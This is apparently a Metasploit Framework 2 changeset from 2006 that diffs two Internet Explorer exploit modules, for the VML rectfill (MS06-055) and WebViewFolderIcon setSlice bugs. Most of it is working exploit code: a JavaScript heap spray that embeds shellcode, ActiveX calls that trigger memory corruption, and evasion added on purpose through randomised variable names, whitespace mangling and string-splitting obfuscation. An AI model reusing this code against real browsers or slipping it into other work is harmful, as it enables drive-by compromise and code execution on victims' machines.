Changeset 4004

Show
Ignore:
Timestamp:
10/01/06 20:59:20 (2 years ago)
Author:
hdm
Message:

Updated

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework2/trunk/exploits/ie_vml_rectfill.pm

    r3959 r4004  
    2929          [ 
    3030                'H D Moore <hdm [at] metasploit.com>', 
     31                'Aviv Raff <avivra [at] gmail.com>', 
    3132                'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', 
    3233                'Mr.Niega <Mr.Niega [at] gmail.com>', 
     
    5960        'Refs'           => 
    6061          [ 
     62                ['MSB', 'MS06-055' ], 
    6163                ['CVE', '2006-4868' ], 
    6264                ['BID', '20096' ], 
     
    159161        my $vmlelem   = $vml_elements[ rand(scalar(@vml_elements)) ]; 
    160162 
    161         my $var_buffer    = Pex::Text::LowerCaseText(int(rand(30)+2)); 
    162         my $var_shellcode = Pex::Text::LowerCaseText(int(rand(30)+2)); 
    163         my $var_unescape  = Pex::Text::LowerCaseText(int(rand(30)+2)); 
    164         my ${var_x}       = Pex::Text::LowerCaseText(int(rand(30)+2)); 
    165         my ${var_i}       = Pex::Text::LowerCaseText(int(rand(30)+2)); 
     163        my $var_buffer    = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     164        my $var_shellcode = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     165        my $var_unescape  = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     166        my $var_x         = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     167        my $var_i         = Pex::Text::LowerCaseText(int(rand(30)+8)); 
    166168 
    167169        my $data      = qq| 
     
    189191</script> 
    190192<${xmlns}:${vmlelem}> 
    191         <${xmlns}:fill method="$buffer" /> 
     193        <${xmlns}:fill method = "$buffer" /> 
    192194</${xmlns}:${vmlelem}> 
    193195 
  • framework2/trunk/exploits/ie_webview_setslice.pm

    r3818 r4004  
    6060        'Targets'        => 
    6161          [ 
    62                 [ 'Automatic'
     62                [ 'Automatic', 0x0c0c0c0c
    6363          ], 
    6464 
     
    137137        my $self   = shift; 
    138138        my $target = $self->Targets->[$self->GetVar('TARGET')]; 
    139  
    140139        my $shellcode = Pex::Utils::JSUnescape($self->GetVar('EncodedPayload')->Payload); 
     140        my $addr_long = unpack('H*', pack('V', $target->[1])); 
     141        my $addr_targ = $target->[1]; 
     142        my $addr_word = substr($addr_long, 0, 4); 
     143        my $var_buffer    = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     144        my $var_shellcode = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     145        my $var_unescape  = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     146        my $var_x         = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     147        my $var_i         = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     148        my $var_tic       = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     149        my $var_toc       = Pex::Text::LowerCaseText(int(rand(30)+8)); 
     150        my $diff          = int(rand(0xffffff)+4000); 
     151        my $over          = 0x7ffffffe - $diff; 
     152         
    141153        my $data      = qq# 
    142 <html> 
    143 <head> 
    144         <script> 
     154<html > 
     155<head > 
     156<script > 
     157 
    145158        try { 
    146159         
    147         CollectGarbage()
    148          
    149         var shellcode = unescape("$shellcode"); 
    150  
    151         var b = unescape("%u0c0c")
    152         while (b.length <= 0x400000) b+=b; 
    153  
    154         var x = new Array();    
    155         for (var i =0; i< 38; i++) { 
    156                 x[i] =  
    157                         b.substring(0,  0x100000 - shellcode.length) + shellcode + 
    158                         b.substring(0,  0x100000 - shellcode.length) + shellcode +  
    159                         b.substring(0,  0x100000 - shellcode.length) + shellcode +              
    160                        b.substring(0,  0x100000 - shellcode.length) + shellcode; 
    161         }       
    162          
    163         for (var i = 0; i < 1024; i++) { 
    164                 var tic = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');    
    165                 try { tic.setSlice(0x7ffffffe, 0, 0, 0x0c0c0c0c); } catch(e){
    166                 var toc = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1'); 
    167         } 
    168          
    169         }catch(e){window.location='about:blank';} 
    170          
    171         CollectGarbage(); 
    172          
    173         </script
    174 </head
    175 <body
    176 Please wait... 
    177 </body
    178 </html
     160        var ${var_unescape}  = unescape
     161        var ${var_shellcode} = ${var_unescape}( "${shellcode}" ) ; 
     162         
     163        var ${var_buffer} = ${var_unescape}( "%u${addr_word}" ) ; 
     164        while ( ${var_buffer}.length <= 0x400000 ) ${var_buffer} += ${var_buffer}
     165 
     166        var ${var_x} = new Array() ;     
     167        for ( var ${var_i} =0 ; ${var_i} < 30 ; ${var_i}++ ) { 
     168               ${var_x}[ ${var_i} ] =  
     169                       ${var_buffer}.substring( 0 ,  0x100000 - ${var_shellcode}.length ) + ${var_shellcode} + 
     170                        ${var_buffer}.substring( 0 ,  0x100000 - ${var_shellcode}.length ) + ${var_shellcode} +  
     171                        ${var_buffer}.substring( 0 ,  0x100000 - ${var_shellcode}.length ) + ${var_shellcode} +                 
     172                        ${var_buffer}.substring( 0 ,  0x100000 - ${var_shellcode}.length ) + ${var_shellcode} ; 
     173        } 
     174         
     175        for ( var ${var_i} = 0 ; ${var_i} < 1024 ; ${var_i}++ ) { 
     176                var ${var_tic} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' ) ;  
     177 
     178                try { ${var_tic}.setSlice( $over + $diff, 0 , 0 , ${addr_targ} ) ; } catch( e ) {
     179                 
     180               var ${var_toc} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' ) ;  
     181        } 
     182 
     183        } catch( e ) { window.location = 'about:blank' ; } 
     184         
     185                
     186        </script
     187</head
     188<body
     189Loaded... 
     190</body
     191</html
    179192#; 
     193 
     194        # Mangle the whitespace... 
     195        $data =~ s/\s+/RandomSpaces()/ge; 
     196 
     197        return $data; 
     198} 
     199 
     200sub RandomSpaces { 
     201        my @spaces = ("\x20", "\x09", "\x0a", "\x0d"); 
     202        my $res; 
     203        my $len = rand(100)+20; 
     204 
     205        while (length($res) < $len) { 
     206                $res .= $spaces[ rand(scalar(@spaces)) ]; 
     207        } 
     208 
     209        return $res; 
    180210} 
    181211 
     
    232262} 
    2332631; 
     264__DATA__ 
     265                var ${var_toc} = new ActiveXObject(  
     266                'W' + 'e' + 'b' + 'V' + 'i' + 'e' + 'w' + 'F' + 'o' + 'l' + 'd' + 'e' + 'r' + 
     267                'I' + 'c' + 'o' + 'n' + '.' + 'W' + 'e' + 'b' + 'V' + 'i' + 'e' + 'w' + 'F' +  
     268                'o' + 'l' + 'd' + 'e' + 'r' + 'I' + 'c' + 'o' + 'n' + '.' + '1' ) ;